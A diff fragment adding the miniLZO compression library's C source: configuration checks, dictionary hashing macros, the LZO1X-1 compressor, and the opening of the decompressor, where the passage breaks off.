+#if (LZO_CC_CLANG && (LZO_CC_CLANG >= 0x030100ul && LZO_CC_CLANG < 0x030300ul)) +# if 0 + volatile +# endif +#endif + union lzo_config_check_union u; + lzo_voidp p; + unsigned r = 1; + + u.a[0] = u.a[1] = 0; + p = u2p(&u, 0); + r &= ((* (lzo_bytep) p) == 0); +#if !(LZO_CFG_NO_CONFIG_CHECK) +#if (LZO_ABI_BIG_ENDIAN) + u.a[0] = u.a[1] = 0; u.b[sizeof(lzo_uint) - 1] = 128; + p = u2p(&u, 0); + r &= ((* (lzo_uintp) p) == 128); +#endif +#if (LZO_ABI_LITTLE_ENDIAN) + u.a[0] = u.a[1] = 0; u.b[0] = 128; + p = u2p(&u, 0); + r &= ((* (lzo_uintp) p) == 128); +#endif + u.a[0] = u.a[1] = 0; + u.b[0] = 1; u.b[3] = 2; + p = u2p(&u, 1); + r &= UA_GET_NE16(p) == 0; + r &= UA_GET_LE16(p) == 0; + u.b[1] = 128; + r &= UA_GET_LE16(p) == 128; + u.a[0] = u.a[1] = 0; + u.b[0] = 3; u.b[5] = 4; + p = u2p(&u, 1); + r &= UA_GET_NE32(p) == 0; + r &= UA_GET_LE32(p) == 0; + u.b[1] = 128; + r &= UA_GET_LE32(p) == 128; +#if defined(UA_GET_NE64) + u.c[0] = u.c[1] = 0; + u.b[0] = 5; u.b[9] = 6; + p = u2p(&u, 1); + u.c[0] = u.c[1] = 0; + r &= UA_GET_NE64(p) == 0; +#if defined(UA_GET_LE64) + r &= UA_GET_LE64(p) == 0; + u.b[1] = 128; + r &= UA_GET_LE64(p) == 128; +#endif +#endif +#if defined(lzo_bitops_ctlz32) + { unsigned i = 0; lzo_uint32_t v; + for (v = 1; v != 0 && r == 1; v <<= 1, i++) { + r &= lzo_bitops_ctlz32(v) == 31 - i; + r &= lzo_bitops_ctlz32_func(v) == 31 - i; + }} +#endif +#if defined(lzo_bitops_ctlz64) + { unsigned i = 0; lzo_uint64_t v; + for (v = 1; v != 0 && r == 1; v <<= 1, i++) { + r &= lzo_bitops_ctlz64(v) == 63 - i; + r &= lzo_bitops_ctlz64_func(v) == 63 - i; + }} +#endif +#if defined(lzo_bitops_cttz32) + { unsigned i = 0; lzo_uint32_t v; + for (v = 1; v != 0 && r == 1; v <<= 1, i++) { + r &= lzo_bitops_cttz32(v) == i; + r &= lzo_bitops_cttz32_func(v) == i; + }} +#endif +#if defined(lzo_bitops_cttz64) + { unsigned i = 0; lzo_uint64_t v; + for (v = 1; v != 0 && r == 1; v <<= 1, i++) { + r &= lzo_bitops_cttz64(v) == i; + r &= lzo_bitops_cttz64_func(v) == i; + }} +#endif +#endif + LZO_UNUSED_FUNC(lzo_bitops_unused_funcs); + + return r == 1 ? LZO_E_OK : LZO_E_ERROR; +} + +LZO_PUBLIC(int) +__lzo_init_v2(unsigned v, int s1, int s2, int s3, int s4, int s5, + int s6, int s7, int s8, int s9) +{ + int r; + +#if defined(__LZO_IN_MINILZO) +#elif (LZO_CC_MSC && ((_MSC_VER) < 700)) +#else +#define LZO_WANT_ACC_CHK_CH 1 +#undef LZOCHK_ASSERT +#define LZOCHK_ASSERT(expr) LZO_COMPILE_TIME_ASSERT(expr) +#endif +#undef LZOCHK_ASSERT + + if (v == 0) + return LZO_E_ERROR; + + r = (s1 == -1 || s1 == (int) sizeof(short)) && + (s2 == -1 || s2 == (int) sizeof(int)) && + (s3 == -1 || s3 == (int) sizeof(long)) && + (s4 == -1 || s4 == (int) sizeof(lzo_uint32_t)) && + (s5 == -1 || s5 == (int) sizeof(lzo_uint)) && + (s6 == -1 || s6 == (int) lzo_sizeof_dict_t) && + (s7 == -1 || s7 == (int) sizeof(char *)) && + (s8 == -1 || s8 == (int) sizeof(lzo_voidp)) && + (s9 == -1 || s9 == (int) sizeof(lzo_callback_t)); + if (!r) + return LZO_E_ERROR; + + r = _lzo_config_check(); + if (r != LZO_E_OK) + return r; + + return r; +} + +#if !defined(__LZO_IN_MINILZO) + +#if (LZO_OS_WIN16 && LZO_CC_WATCOMC) && defined(__SW_BD) + +#if 0 +BOOL FAR PASCAL LibMain ( HANDLE hInstance, WORD wDataSegment, + WORD wHeapSize, LPSTR lpszCmdLine ) +#else +int __far __pascal LibMain ( int a, short b, short c, long d ) +#endif +{ + LZO_UNUSED(a); LZO_UNUSED(b); LZO_UNUSED(c); LZO_UNUSED(d); + return 1; +} + +#endif + +#endif + +#endif + +#define LZO1X 1 +#define LZO_EOF_CODE 1 +#define M2_MAX_OFFSET 0x0800 + +#if !defined(MINILZO_CFG_SKIP_LZO1X_1_COMPRESS) + +#if 1 && defined(UA_GET_LE32) +#undef LZO_DICT_USE_PTR +#define LZO_DICT_USE_PTR 0 +#undef lzo_dict_t +#define lzo_dict_t lzo_uint16_t +#endif + +#define LZO_NEED_DICT_H 1 +#ifndef D_BITS +#define D_BITS 14 +#endif +#define D_INDEX1(d,p) d = DM(DMUL(0x21,DX3(p,5,5,6)) >> 5) +#define D_INDEX2(d,p) d = (d & (D_MASK & 0x7ff)) ^ (D_HIGH | 0x1f) +#if 1 +#define DINDEX(dv,p) DM(((DMUL(0x1824429d,dv)) >> (32-D_BITS))) +#else +#define DINDEX(dv,p) DM((dv) + ((dv) >> (32-D_BITS))) +#endif + +#ifndef __LZO_CONFIG1X_H +#define __LZO_CONFIG1X_H 1 + +#if !defined(LZO1X) && !defined(LZO1Y) && !defined(LZO1Z) +# define LZO1X 1 +#endif + +#if !defined(__LZO_IN_MINILZO) +#include "lzo/lzo1x.h" +#endif + +#ifndef LZO_EOF_CODE +#define LZO_EOF_CODE 1 +#endif +#undef LZO_DETERMINISTIC + +#define M1_MAX_OFFSET 0x0400 +#ifndef M2_MAX_OFFSET +#define M2_MAX_OFFSET 0x0800 +#endif +#define M3_MAX_OFFSET 0x4000 +#define M4_MAX_OFFSET 0xbfff + +#define MX_MAX_OFFSET (M1_MAX_OFFSET + M2_MAX_OFFSET) + +#define M1_MIN_LEN 2 +#define M1_MAX_LEN 2 +#define M2_MIN_LEN 3 +#ifndef M2_MAX_LEN +#define M2_MAX_LEN 8 +#endif +#define M3_MIN_LEN 3 +#define M3_MAX_LEN 33 +#define M4_MIN_LEN 3 +#define M4_MAX_LEN 9 + +#define M1_MARKER 0 +#define M2_MARKER 64 +#define M3_MARKER 32 +#define M4_MARKER 16 + +#ifndef MIN_LOOKAHEAD +#define MIN_LOOKAHEAD (M2_MAX_LEN + 1) +#endif + +#if defined(LZO_NEED_DICT_H) + +#ifndef LZO_HASH +#define LZO_HASH LZO_HASH_LZO_INCREMENTAL_B +#endif +#define DL_MIN_LEN M2_MIN_LEN + +#ifndef __LZO_DICT_H +#define __LZO_DICT_H 1 + +#ifdef __cplusplus +extern "C" { +#endif + +#if !defined(D_BITS) && defined(DBITS) +# define D_BITS DBITS +#endif +#if !defined(D_BITS) +# error "D_BITS is not defined" +#endif +#if (D_BITS < 16) +# define D_SIZE LZO_SIZE(D_BITS) +# define D_MASK LZO_MASK(D_BITS) +#else +# define D_SIZE LZO_USIZE(D_BITS) +# define D_MASK LZO_UMASK(D_BITS) +#endif +#define D_HIGH ((D_MASK >> 1) + 1) + +#if !defined(DD_BITS) +# define DD_BITS 0 +#endif +#define DD_SIZE LZO_SIZE(DD_BITS) +#define DD_MASK LZO_MASK(DD_BITS) + +#if !defined(DL_BITS) +# define DL_BITS (D_BITS - DD_BITS) +#endif +#if (DL_BITS < 16) +# define DL_SIZE LZO_SIZE(DL_BITS) +# define DL_MASK LZO_MASK(DL_BITS) +#else +# define DL_SIZE LZO_USIZE(DL_BITS) +# define DL_MASK LZO_UMASK(DL_BITS) +#endif + +#if (D_BITS != DL_BITS + DD_BITS) +# error "D_BITS does not match" +#endif +#if (D_BITS < 6 || D_BITS > 18) +# error "invalid D_BITS" +#endif +#if (DL_BITS < 6 || DL_BITS > 20) +# error "invalid DL_BITS" +#endif +#if (DD_BITS < 0 || DD_BITS > 6) +# error "invalid DD_BITS" +#endif + +#if !defined(DL_MIN_LEN) +# define DL_MIN_LEN 3 +#endif +#if !defined(DL_SHIFT) +# define DL_SHIFT ((DL_BITS + (DL_MIN_LEN - 1)) / DL_MIN_LEN) +#endif + +#define LZO_HASH_GZIP 1 +#define LZO_HASH_GZIP_INCREMENTAL 2 +#define LZO_HASH_LZO_INCREMENTAL_A 3 +#define LZO_HASH_LZO_INCREMENTAL_B 4 + +#if !defined(LZO_HASH) +# error "choose a hashing strategy" +#endif + +#undef DM +#undef DX + +#if (DL_MIN_LEN == 3) +# define _DV2_A(p,shift1,shift2) \ + (((( (lzo_xint)((p)[0]) << shift1) ^ (p)[1]) << shift2) ^ (p)[2]) +# define _DV2_B(p,shift1,shift2) \ + (((( (lzo_xint)((p)[2]) << shift1) ^ (p)[1]) << shift2) ^ (p)[0]) +# define _DV3_B(p,shift1,shift2,shift3) \ + ((_DV2_B((p)+1,shift1,shift2) << (shift3)) ^ (p)[0]) +#elif (DL_MIN_LEN == 2) +# define _DV2_A(p,shift1,shift2) \ + (( (lzo_xint)(p[0]) << shift1) ^ p[1]) +# define _DV2_B(p,shift1,shift2) \ + (( (lzo_xint)(p[1]) << shift1) ^ p[2]) +#else +# error "invalid DL_MIN_LEN" +#endif +#define _DV_A(p,shift) _DV2_A(p,shift,shift) +#define _DV_B(p,shift) _DV2_B(p,shift,shift) +#define DA2(p,s1,s2) \ + (((((lzo_xint)((p)[2]) << (s2)) + (p)[1]) << (s1)) + (p)[0]) +#define DS2(p,s1,s2) \ + (((((lzo_xint)((p)[2]) << (s2)) - (p)[1]) << (s1)) - (p)[0]) +#define DX2(p,s1,s2) \ + (((((lzo_xint)((p)[2]) << (s2)) ^ (p)[1]) << (s1)) ^ (p)[0]) +#define DA3(p,s1,s2,s3) ((DA2((p)+1,s2,s3) << (s1)) + (p)[0]) +#define DS3(p,s1,s2,s3) ((DS2((p)+1,s2,s3) << (s1)) - (p)[0]) +#define DX3(p,s1,s2,s3) ((DX2((p)+1,s2,s3) << (s1)) ^ (p)[0]) +#define DMS(v,s) ((lzo_uint) (((v) & (D_MASK >> (s))) << (s))) +#define DM(v) DMS(v,0) + +#if (LZO_HASH == LZO_HASH_GZIP) +# define _DINDEX(dv,p) (_DV_A((p),DL_SHIFT)) + +#elif (LZO_HASH == LZO_HASH_GZIP_INCREMENTAL) +# define __LZO_HASH_INCREMENTAL 1 +# define DVAL_FIRST(dv,p) dv = _DV_A((p),DL_SHIFT) +# define DVAL_NEXT(dv,p) dv = (((dv) << DL_SHIFT) ^ p[2]) +# define _DINDEX(dv,p) (dv) +# define DVAL_LOOKAHEAD DL_MIN_LEN + +#elif (LZO_HASH == LZO_HASH_LZO_INCREMENTAL_A) +# define __LZO_HASH_INCREMENTAL 1 +# define DVAL_FIRST(dv,p) dv = _DV_A((p),5) +# define DVAL_NEXT(dv,p) \ + dv ^= (lzo_xint)(p[-1]) << (2*5); dv = (((dv) << 5) ^ p[2]) +# define _DINDEX(dv,p) ((DMUL(0x9f5f,dv)) >> 5) +# define DVAL_LOOKAHEAD DL_MIN_LEN + +#elif (LZO_HASH == LZO_HASH_LZO_INCREMENTAL_B) +# define __LZO_HASH_INCREMENTAL 1 +# define DVAL_FIRST(dv,p) dv = _DV_B((p),5) +# define DVAL_NEXT(dv,p) \ + dv ^= p[-1]; dv = (((dv) >> 5) ^ ((lzo_xint)(p[2]) << (2*5))) +# define _DINDEX(dv,p) ((DMUL(0x9f5f,dv)) >> 5) +# define DVAL_LOOKAHEAD DL_MIN_LEN + +#else +# error "choose a hashing strategy" +#endif + +#ifndef DINDEX +#define DINDEX(dv,p) ((lzo_uint)((_DINDEX(dv,p)) & DL_MASK) << DD_BITS) +#endif +#if !defined(DINDEX1) && defined(D_INDEX1) +#define DINDEX1 D_INDEX1 +#endif +#if !defined(DINDEX2) && defined(D_INDEX2) +#define DINDEX2 D_INDEX2 +#endif + +#if !defined(__LZO_HASH_INCREMENTAL) +# define DVAL_FIRST(dv,p) ((void) 0) +# define DVAL_NEXT(dv,p) ((void) 0) +# define DVAL_LOOKAHEAD 0 +#endif + +#if !defined(DVAL_ASSERT) +#if defined(__LZO_HASH_INCREMENTAL) && !defined(NDEBUG) +#if (LZO_CC_CLANG || (LZO_CC_GNUC >= 0x020700ul) || LZO_CC_LLVM) +static void __attribute__((__unused__)) +#else +static void +#endif +DVAL_ASSERT(lzo_xint dv, const lzo_bytep p) +{ + lzo_xint df; + DVAL_FIRST(df,(p)); + assert(DINDEX(dv,p) == DINDEX(df,p)); +} +#else +# define DVAL_ASSERT(dv,p) ((void) 0) +#endif +#endif + +#if (LZO_DICT_USE_PTR) +# define DENTRY(p,in) (p) +# define GINDEX(m_pos,m_off,dict,dindex,in) m_pos = dict[dindex] +#else +# define DENTRY(p,in) ((lzo_dict_t) pd(p, in)) +# define GINDEX(m_pos,m_off,dict,dindex,in) m_off = dict[dindex] +#endif + +#if (DD_BITS == 0) + +# define UPDATE_D(dict,drun,dv,p,in) dict[ DINDEX(dv,p) ] = DENTRY(p,in) +# define UPDATE_I(dict,drun,index,p,in) dict[index] = DENTRY(p,in) +# define UPDATE_P(ptr,drun,p,in) (ptr)[0] = DENTRY(p,in) + +#else + +# define UPDATE_D(dict,drun,dv,p,in) \ + dict[ DINDEX(dv,p) + drun++ ] = DENTRY(p,in); drun &= DD_MASK +# define UPDATE_I(dict,drun,index,p,in) \ + dict[ (index) + drun++ ] = DENTRY(p,in); drun &= DD_MASK +# define UPDATE_P(ptr,drun,p,in) \ + (ptr) [ drun++ ] = DENTRY(p,in); drun &= DD_MASK + +#endif + +#if (LZO_DICT_USE_PTR) + +#define LZO_CHECK_MPOS_DET(m_pos,m_off,in,ip,max_offset) \ + (m_pos == NULL || (m_off = pd(ip, m_pos)) > max_offset) + +#define LZO_CHECK_MPOS_NON_DET(m_pos,m_off,in,ip,max_offset) \ + (BOUNDS_CHECKING_OFF_IN_EXPR(( \ + m_pos = ip - (lzo_uint) PTR_DIFF(ip,m_pos), \ + PTR_LT(m_pos,in) || \ + (m_off = (lzo_uint) PTR_DIFF(ip,m_pos)) == 0 || \ + m_off > max_offset ))) + +#else + +#define LZO_CHECK_MPOS_DET(m_pos,m_off,in,ip,max_offset) \ + (m_off == 0 || \ + ((m_off = pd(ip, in) - m_off) > max_offset) || \ + (m_pos = (ip) - (m_off), 0) ) + +#define LZO_CHECK_MPOS_NON_DET(m_pos,m_off,in,ip,max_offset) \ + (pd(ip, in) <= m_off || \ + ((m_off = pd(ip, in) - m_off) > max_offset) || \ + (m_pos = (ip) - (m_off), 0) ) + +#endif + +#if (LZO_DETERMINISTIC) +# define LZO_CHECK_MPOS LZO_CHECK_MPOS_DET +#else +# define LZO_CHECK_MPOS LZO_CHECK_MPOS_NON_DET +#endif + +#ifdef __cplusplus +} +#endif + +#endif + +#endif + +#endif + +#define LZO_DETERMINISTIC !(LZO_DICT_USE_PTR) + +#ifndef DO_COMPRESS +#define DO_COMPRESS lzo1x_1_compress +#endif + +#if 1 && defined(DO_COMPRESS) && !defined(do_compress) +# define do_compress LZO_PP_ECONCAT2(DO_COMPRESS,_core) +#endif + +static __lzo_noinline lzo_uint +do_compress ( const lzo_bytep in , lzo_uint in_len, + lzo_bytep out, lzo_uintp out_len, + lzo_uint ti, lzo_voidp wrkmem) +{ + const lzo_bytep ip; + lzo_bytep op; + const lzo_bytep const in_end = in + in_len; + const lzo_bytep const ip_end = in + in_len - 20; + const lzo_bytep ii; + lzo_dict_p const dict = (lzo_dict_p) wrkmem; + + op = out; + ip = in; + ii = ip; + + ip += ti < 4 ? 4 - ti : 0; + for (;;) + { + const lzo_bytep m_pos; +#if !(LZO_DETERMINISTIC) + LZO_DEFINE_UNINITIALIZED_VAR(lzo_uint, m_off, 0); + lzo_uint m_len; + lzo_uint dindex; +next: + if __lzo_unlikely(ip >= ip_end) + break; + DINDEX1(dindex,ip); + GINDEX(m_pos,m_off,dict,dindex,in); + if (LZO_CHECK_MPOS_NON_DET(m_pos,m_off,in,ip,M4_MAX_OFFSET)) + goto literal; +#if 1 + if (m_off <= M2_MAX_OFFSET || m_pos[3] == ip[3]) + goto try_match; + DINDEX2(dindex,ip); +#endif + GINDEX(m_pos,m_off,dict,dindex,in); + if (LZO_CHECK_MPOS_NON_DET(m_pos,m_off,in,ip,M4_MAX_OFFSET)) + goto literal; + if (m_off <= M2_MAX_OFFSET || m_pos[3] == ip[3]) + goto try_match; + goto literal; + +try_match: +#if (LZO_OPT_UNALIGNED32) + if (UA_GET_NE32(m_pos) != UA_GET_NE32(ip)) +#else + if (m_pos[0] != ip[0] || m_pos[1] != ip[1] || m_pos[2] != ip[2] || m_pos[3] != ip[3]) +#endif + { +literal: + UPDATE_I(dict,0,dindex,ip,in); + ip += 1 + ((ip - ii) >> 5); + continue; + } + UPDATE_I(dict,0,dindex,ip,in); +#else + lzo_uint m_off; + lzo_uint m_len; + { + lzo_uint32_t dv; + lzo_uint dindex; +literal: + ip += 1 + ((ip - ii) >> 5); +next: + if __lzo_unlikely(ip >= ip_end) + break; + dv = UA_GET_LE32(ip); + dindex = DINDEX(dv,ip); + GINDEX(m_off,m_pos,in+dict,dindex,in); + UPDATE_I(dict,0,dindex,ip,in); + if __lzo_unlikely(dv != UA_GET_LE32(m_pos)) + goto literal; + } +#endif + + ii -= ti; ti = 0; + { + lzo_uint t = pd(ip,ii); + if (t != 0) + { + if (t <= 3) + { + op[-2] = LZO_BYTE(op[-2] | t); +#if (LZO_OPT_UNALIGNED32) + UA_COPY4(op, ii); + op += t; +#else + { do *op++ = *ii++; while (--t > 0); } +#endif + } +#if (LZO_OPT_UNALIGNED32) || (LZO_OPT_UNALIGNED64) + else if (t <= 16) + { + *op++ = LZO_BYTE(t - 3); + UA_COPY8(op, ii); + UA_COPY8(op+8, ii+8); + op += t; + } +#endif + else + { + if (t <= 18) + *op++ = LZO_BYTE(t - 3); + else + { + lzo_uint tt = t - 18; + *op++ = 0; + while __lzo_unlikely(tt > 255) + { + tt -= 255; + UA_SET1(op, 0); + op++; + } + assert(tt > 0); + *op++ = LZO_BYTE(tt); + } +#if (LZO_OPT_UNALIGNED32) || (LZO_OPT_UNALIGNED64) + do { + UA_COPY8(op, ii); + UA_COPY8(op+8, ii+8); + op += 16; ii += 16; t -= 16; + } while (t >= 16); if (t > 0) +#endif + { do *op++ = *ii++; while (--t > 0); } + } + } + } + m_len = 4; + { +#if (LZO_OPT_UNALIGNED64) + lzo_uint64_t v; + v = UA_GET_NE64(ip + m_len) ^ UA_GET_NE64(m_pos + m_len); + if __lzo_unlikely(v == 0) { + do { + m_len += 8; + v = UA_GET_NE64(ip + m_len) ^ UA_GET_NE64(m_pos + m_len); + if __lzo_unlikely(ip + m_len >= ip_end) + goto m_len_done; + } while (v == 0); + } +#if (LZO_ABI_BIG_ENDIAN) && defined(lzo_bitops_ctlz64) + m_len += lzo_bitops_ctlz64(v) / CHAR_BIT; +#elif (LZO_ABI_BIG_ENDIAN) + if ((v >> (64 - CHAR_BIT)) == 0) do { + v <<= CHAR_BIT; + m_len += 1; + } while ((v >> (64 - CHAR_BIT)) == 0); +#elif (LZO_ABI_LITTLE_ENDIAN) && defined(lzo_bitops_cttz64) + m_len += lzo_bitops_cttz64(v) / CHAR_BIT; +#elif (LZO_ABI_LITTLE_ENDIAN) + if ((v & UCHAR_MAX) == 0) do { + v >>= CHAR_BIT; + m_len += 1; + } while ((v & UCHAR_MAX) == 0); +#else + if (ip[m_len] == m_pos[m_len]) do { + m_len += 1; + } while (ip[m_len] == m_pos[m_len]); +#endif +#elif (LZO_OPT_UNALIGNED32) + lzo_uint32_t v; + v = UA_GET_NE32(ip + m_len) ^ UA_GET_NE32(m_pos + m_len); + if __lzo_unlikely(v == 0) { + do { + m_len += 4; + v = UA_GET_NE32(ip + m_len) ^ UA_GET_NE32(m_pos + m_len); + if (v != 0) + break; + m_len += 4; + v = UA_GET_NE32(ip + m_len) ^ UA_GET_NE32(m_pos + m_len); + if __lzo_unlikely(ip + m_len >= ip_end) + goto m_len_done; + } while (v == 0); + } +#if (LZO_ABI_BIG_ENDIAN) && defined(lzo_bitops_ctlz32) + m_len += lzo_bitops_ctlz32(v) / CHAR_BIT; +#elif (LZO_ABI_BIG_ENDIAN) + if ((v >> (32 - CHAR_BIT)) == 0) do { + v <<= CHAR_BIT; + m_len += 1; + } while ((v >> (32 - CHAR_BIT)) == 0); +#elif (LZO_ABI_LITTLE_ENDIAN) && defined(lzo_bitops_cttz32) + m_len += lzo_bitops_cttz32(v) / CHAR_BIT; +#elif (LZO_ABI_LITTLE_ENDIAN) + if ((v & UCHAR_MAX) == 0) do { + v >>= CHAR_BIT; + m_len += 1; + } while ((v & UCHAR_MAX) == 0); +#else + if (ip[m_len] == m_pos[m_len]) do { + m_len += 1; + } while (ip[m_len] == m_pos[m_len]); +#endif +#else + if __lzo_unlikely(ip[m_len] == m_pos[m_len]) { + do { + m_len += 1; + if (ip[m_len] != m_pos[m_len]) + break; + m_len += 1; + if (ip[m_len] != m_pos[m_len]) + break; + m_len += 1; + if (ip[m_len] != m_pos[m_len]) + break; + m_len += 1; + if (ip[m_len] != m_pos[m_len]) + break; + m_len += 1; + if (ip[m_len] != m_pos[m_len]) + break; + m_len += 1; + if (ip[m_len] != m_pos[m_len]) + break; + m_len += 1; + if (ip[m_len] != m_pos[m_len]) + break; + m_len += 1; + if __lzo_unlikely(ip + m_len >= ip_end) + goto m_len_done; + } while (ip[m_len] == m_pos[m_len]); + } +#endif + } +m_len_done: + m_off = pd(ip,m_pos); + ip += m_len; + ii = ip; + if (m_len <= M2_MAX_LEN && m_off <= M2_MAX_OFFSET) + { + m_off -= 1; +#if defined(LZO1X) + *op++ = LZO_BYTE(((m_len - 1) << 5) | ((m_off & 7) << 2)); + *op++ = LZO_BYTE(m_off >> 3); +#elif defined(LZO1Y) + *op++ = LZO_BYTE(((m_len + 1) << 4) | ((m_off & 3) << 2)); + *op++ = LZO_BYTE(m_off >> 2); +#endif + } + else if (m_off <= M3_MAX_OFFSET) + { + m_off -= 1; + if (m_len <= M3_MAX_LEN) + *op++ = LZO_BYTE(M3_MARKER | (m_len - 2)); + else + { + m_len -= M3_MAX_LEN; + *op++ = M3_MARKER | 0; + while __lzo_unlikely(m_len > 255) + { + m_len -= 255; + UA_SET1(op, 0); + op++; + } + *op++ = LZO_BYTE(m_len); + } + *op++ = LZO_BYTE(m_off << 2); + *op++ = LZO_BYTE(m_off >> 6); + } + else + { + m_off -= 0x4000; + if (m_len <= M4_MAX_LEN) + *op++ = LZO_BYTE(M4_MARKER | ((m_off >> 11) & 8) | (m_len - 2)); + else + { + m_len -= M4_MAX_LEN; + *op++ = LZO_BYTE(M4_MARKER | ((m_off >> 11) & 8)); + while __lzo_unlikely(m_len > 255) + { + m_len -= 255; + UA_SET1(op, 0); + op++; + } + *op++ = LZO_BYTE(m_len); + } + *op++ = LZO_BYTE(m_off << 2); + *op++ = LZO_BYTE(m_off >> 6); + } + goto next; + } + + *out_len = pd(op, out); + return pd(in_end,ii-ti); +} + +LZO_PUBLIC(int) +DO_COMPRESS ( const lzo_bytep in , lzo_uint in_len, + lzo_bytep out, lzo_uintp out_len, + lzo_voidp wrkmem ) +{ + const lzo_bytep ip = in; + lzo_bytep op = out; + lzo_uint l = in_len; + lzo_uint t = 0; + + while (l > 20) + { + lzo_uint ll = l; + lzo_uintptr_t ll_end; +#if 0 || (LZO_DETERMINISTIC) + ll = LZO_MIN(ll, 49152); +#endif + ll_end = (lzo_uintptr_t)ip + ll; + if ((ll_end + ((t + ll) >> 5)) <= ll_end || (const lzo_bytep)(ll_end + ((t + ll) >> 5)) <= ip + ll) + break; +#if (LZO_DETERMINISTIC) + lzo_memset(wrkmem, 0, ((lzo_uint)1 << D_BITS) * sizeof(lzo_dict_t)); +#endif + t = do_compress(ip,ll,op,out_len,t,wrkmem); + ip += ll; + op += *out_len; + l -= ll; + } + t += l; + + if (t > 0) + { + const lzo_bytep ii = in + in_len - t; + + if (op == out && t <= 238) + *op++ = LZO_BYTE(17 + t); + else if (t <= 3) + op[-2] = LZO_BYTE(op[-2] | t); + else if (t <= 18) + *op++ = LZO_BYTE(t - 3); + else + { + lzo_uint tt = t - 18; + + *op++ = 0; + while (tt > 255) + { + tt -= 255; + UA_SET1(op, 0); + op++; + } + assert(tt > 0); + *op++ = LZO_BYTE(tt); + } + UA_COPYN(op, ii, t); + op += t; + } + + *op++ = M4_MARKER | 1; + *op++ = 0; + *op++ = 0; + + *out_len = pd(op, out); + return LZO_E_OK; +} + +#endif + +#undef do_compress +#undef DO_COMPRESS +#undef LZO_HASH + +#undef LZO_TEST_OVERRUN +#undef DO_DECOMPRESS +#define DO_DECOMPRESS lzo1x_decompress + +#if !defined(MINILZO_CFG_SKIP_LZO1X_DECOMPRESS) + +#if defined(LZO_TEST_OVERRUN) +# if !defined(LZO_TEST_OVERRUN_INPUT) +# define LZO_TEST_OVERRUN_INPUT 2 +# endif +# if !defined(LZO_TEST_OVERRUN_OUTPUT) +# define LZO_TEST_OVERRUN_OUTPUT 2 +# endif +# if !defined(LZO_TEST_OVERRUN_LOOKBEHIND) +# define LZO_TEST_OVERRUN_LOOKBEHIND 1 +# endif +#endif + +#undef TEST_IP +#undef TEST_OP +#undef TEST_IP_AND_TEST_OP +#undef TEST_LB +#undef TEST_LBO +#undef NEED_IP +#undef NEED_OP +#undef TEST_IV +#undef TEST_OV +#undef HAVE_TEST_IP +#undef HAVE_TEST_OP +#undef HAVE_NEED_IP +#undef HAVE_NEED_OP +#undef HAVE_ANY_IP +#undef HAVE_ANY_OP + +#if defined(LZO_TEST_OVERRUN_INPUT) +# if (LZO_TEST_OVERRUN_INPUT >= 1) +# define TEST_IP (ip < ip_end) +# endif +# if (LZO_TEST_OVERRUN_INPUT >= 2) +# define NEED_IP(x) \ + if ((lzo_uint)(ip_end - ip) < (lzo_uint)(x)) goto input_overrun +# define TEST_IV(x) if ((x) > (lzo_uint)0 - (511)) goto input_overrun +# endif +#endif + +#if defined(LZO_TEST_OVERRUN_OUTPUT) +# if (LZO_TEST_OVERRUN_OUTPUT >= 1) +# define TEST_OP (op <= op_end) +# endif +# if (LZO_TEST_OVERRUN_OUTPUT >= 2) +# undef TEST_OP +# define NEED_OP(x) \ + if ((lzo_uint)(op_end - op) < (lzo_uint)(x)) goto output_overrun +# define TEST_OV(x) if ((x) > (lzo_uint)0 - (511)) goto output_overrun +# endif +#endif + +#if defined(LZO_TEST_OVERRUN_LOOKBEHIND) +# define TEST_LB(m_pos) if (PTR_LT(m_pos,out) || PTR_GE(m_pos,op)) goto lookbehind_overrun +# define TEST_LBO(m_pos,o) if (PTR_LT(m_pos,out) || PTR_GE(m_pos,op-(o))) goto lookbehind_overrun +#else +# define TEST_LB(m_pos) ((void) 0) +# define TEST_LBO(m_pos,o) ((void) 0) +#endif + +#if !defined(LZO_EOF_CODE) && !defined(TEST_IP) +# define TEST_IP (ip < ip_end) +#endif + +#if defined(TEST_IP) +# define HAVE_TEST_IP 1 +#else +# define TEST_IP 1 +#endif +#if defined(TEST_OP) +# define HAVE_TEST_OP 1 +#else +# define TEST_OP 1 +#endif + +#if defined(HAVE_TEST_IP) && defined(HAVE_TEST_OP) +# define TEST_IP_AND_TEST_OP (TEST_IP && TEST_OP) +#elif defined(HAVE_TEST_IP) +# define TEST_IP_AND_TEST_OP TEST_IP +#elif defined(HAVE_TEST_OP) +# define TEST_IP_AND_TEST_OP TEST_OP +#else +# define TEST_IP_AND_TEST_OP 1 +#endif + +#if defined(NEED_IP) +# define HAVE_NEED_IP 1 +#else +# define NEED_IP(x) ((void) 0) +# define TEST_IV(x) ((void) 0) +#endif +#if defined(NEED_OP) +# define HAVE_NEED_OP 1 +#else +# define NEED_OP(x) ((void) 0) +# define TEST_OV(x) ((void) 0) +#endif + +#if defined(HAVE_TEST_IP) || defined(HAVE_NEED_IP) +# define HAVE_ANY_IP 1 +#endif +#if defined(HAVE_TEST_OP) || defined(HAVE_NEED_OP) +# define HAVE_ANY_OP 1 +#endif + +#if defined(DO_DECOMPRESS) +LZO_PUBLIC(int) +DO_DECOMPRESS ( const lzo_bytep in , lzo_uint in_len, + lzo_bytep out, lzo_uintp out_len, + lzo_voidp wrkmem ) +#endif +{ + lzo_bytep op; + const lzo_bytep ip; + lzo_uint t; +#if defined(COPY_DICT) + lzo_uint m_off; + const lzo_bytep dict_end; +#else + const lzo_bytep m_pos; +#endif + + const lzo_bytep const ip_end = in + in_len; +#if defined(HAVE_ANY_OP) + lzo_bytep const op_end = out + *out_len; +#endif +#if defined(LZO1Z) + lzo_uint last_m_off = 0; +#endif + + LZO_UNUSED(wrkmem); + +#if defined(COPY_DICT) + if (dict) + { + if (dict_len > M4_MAX_OFFSET) + { + dict += dict_len - M4_MAX_OFFSET; + dict_len = M4_MAX_OFFSET; + } + dict_end = dict + dict_len; + } + else + { + dict_len = 0; + dict_end = NULL; + } +#endif + + *out_len = 0; + + op = out; + ip = in; + + NEED_IP(1); + if (*ip > 17) + { + t = *ip++ - 17; + if (t < 4) + goto match_next; + assert(t > 0); NEED_OP(t); NEED_IP(t+3); + do *op++ = *ip++; while (--t > 0); + goto first_literal_run; + } + + for (;;) + { + NEED_IP(3); + t = *ip++; + if (t >= 16) + goto match; + if (t == 0) + { + while (*ip == 0) + { + t += 255; + ip++; + TEST_IV(t); + NEED_IP(1); + } + t += 15 + *ip++; + } + assert(t > 0); NEED_OP(t+3); NEED_IP(t+6); +#if (LZO_OPT_UNALIGNED64) && (LZO_OPT_UNALIGNED32) + t += 3; + if (t >= 8) do + { + UA_COPY8(op,ip); + op += 8; ip += 8; t -= 8; + } while (t >= 8); + if (t >= 4) + { + 